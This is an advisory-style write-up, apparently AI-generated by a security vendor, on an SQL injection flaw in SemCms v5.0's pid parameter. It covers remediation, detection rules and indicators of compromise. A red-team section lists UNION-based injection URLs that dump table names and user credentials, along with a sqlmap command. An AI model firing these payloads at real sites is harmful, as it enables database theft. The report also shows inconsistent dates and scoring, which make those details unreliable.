CVE-2025-51652
Executive Summary
CVE-2025-51652 identifies a critical SQL injection vulnerability in SemCms v5.0, specifically within the SEMCMS_Categories.php file via the pid parameter. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or complete database compromise. The vulnerability is publicly known, but no official patch or vendor advisory has been released, placing all instances of SemCms v5.0 at high risk. Given the lack of a patch, immediate mitigation through Web Application Firewall (WAF) rules or input sanitization is strongly recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned by NVD)
- Threat Level: Critical (Based on public exploit availability and lack of patch)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the database are the same scope.
- Confidentiality (C): High (H) – Full database read access possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Database can be disrupted or destroyed.
Deep Dive & Mechanics
The vulnerability resides in the SEMCMS_Categories.php script, which is part of the SemCms content management system. The pid parameter is used to fetch category data from the database. The application fails to sanitize or parameterize this user-supplied input before incorporating it into a SQL query.
Vulnerable Code Pattern (Conceptual):
$pid = $_GET['pid'];
$query = "SELECT * FROM categories WHERE id = $pid";
$result = mysqli_query($conn, $query);
An attacker can manipulate the pid parameter to break out of the intended SQL statement and execute arbitrary commands. For example, a simple injection like pid=1 OR 1=1 would return all categories, while more complex payloads can be used for data exfiltration, authentication bypass, or even operating system command execution via xp_cmdshell (if SQL Server is used) or INTO OUTFILE (if MySQL is used).
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// SEMCMS_Categories.php (v5.0)
$pid = $_GET['pid'];
$sql = "SELECT * FROM semcms_categories WHERE id = $pid";
$result = mysqli_query($conn, $sql);
Patched Code (Conceptual - No official patch available):
// SEMCMS_Categories.php (Patched)
$pid = intval($_GET['pid']); // Cast to integer
$sql = "SELECT * FROM semcms_categories WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $pid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
The patched version uses prepared statements with parameterized queries, which completely separates SQL logic from data. The intval() function provides an additional layer of defense by ensuring only numeric values are accepted.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable SemCms v5.0 instance (e.g., using Docker or a local web server with PHP and MySQL).
- Ensure the application is accessible via a web browser.
Exploitation Steps:
- Identify the vulnerable endpoint:
http://target.com/SEMCMS_Categories.php?pid=1 - Test for SQL injection: Append a single quote (
') to thepidvalue. If an error is returned, the application is vulnerable. - Extract database version:
http://target.com/SEMCMS_Categories.php?pid=1 UNION SELECT 1,@@version,3,4,5-- - Enumerate tables:
http://target.com/SEMCMS_Categories.php?pid=1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- - Dump user credentials:
http://target.com/SEMCMS_Categories.php?pid=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM semcms_users--
Automated Exploitation (sqlmap):
sqlmap -u "http://target.com/SEMCMS_Categories.php?pid=1" --batch --dbs
Blue Team (Defensive)
Detection & Prevention:
- Web Application Firewall (WAF) Rules: Block requests containing SQL keywords (
UNION,SELECT,OR,AND,--,#) in thepidparameter. - Input Validation: Implement strict server-side validation to ensure the
pidparameter is an integer. - Database Activity Monitoring: Monitor for anomalous SQL queries, especially those with
UNION,INTO OUTFILE, orxp_cmdshell. - Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., only
SELECT,INSERT,UPDATEon specific tables, notDROPorFILE).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/SEMCMS_Categories.phpwith suspiciouspidparameter values containing SQL keywords. - Outbound database connections from the web server to unusual IP addresses (data exfiltration).
- HTTP GET requests to
- File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php) created viaINTO OUTFILE. - Modified or deleted database files.
- Unexpected files in the web root (e.g.,
- Log IOCs:
- Web server logs showing
pidvalues with SQL syntax errors or injection patterns. - Database logs showing queries with
UNION,SELECT,INTO OUTFILE, orxp_cmdshell.
- Web server logs showing
Detection Engineering
YARA Rule
rule Detect_SemCms_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts targeting SemCms v5.0 pid parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-51652"
strings:
$sqli_pattern1 = /pid=[^&]*(\%27|%22|'|"|--|#|UNION|SELECT|OR|AND)/i
$sqli_pattern2 = /pid=[^&]*(\%3B|;|DROP|DELETE|INSERT|UPDATE|xp_cmdshell)/i
condition:
any of them
}
Sigma Rule
title: SemCms SQL Injection Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects SQL injection attempts against SemCms v5.0 via the pid parameter
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-51652
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'SEMCMS_Categories.php?pid='
cs-uri-query|re:
- 'pid=[^&]*(\%27|%22|'|"|--|#|UNION|SELECT|OR|AND)'
- 'pid=[^&]*(\%3B|;|DROP|DELETE|INSERT|UPDATE|xp_cmdshell)'
condition: selection
falsepositives:
- Legitimate use of special characters in category names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-51652 SemCms SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/SEMCMS_Categories.php"; http_uri; content:"pid="; http_uri; pcre:"/pid=[^&]*(%27|%22|'|"|--|#|UNION|SELECT|OR|AND)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint: If possible, remove or rename
SEMCMS_Categories.phpuntil a patch is available. - Implement a WAF: Deploy a Web Application Firewall with rules to block SQL injection patterns in the
pidparameter. - Input Sanitization: Apply server-side input validation to ensure the
pidparameter is strictly numeric.
Long-Term Fix:
- Upgrade SemCms: Monitor the vendor's website for a patched version. If none is released, consider migrating to a different, actively maintained CMS.
- Code Review: Conduct a thorough security audit of all PHP files, especially those handling user input, and rewrite them using prepared statements or parameterized queries.
- Database Hardening: Apply the principle of least privilege to the database user. Disable dangerous features like
xp_cmdshellandINTO OUTFILE.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact your Valters IT representative.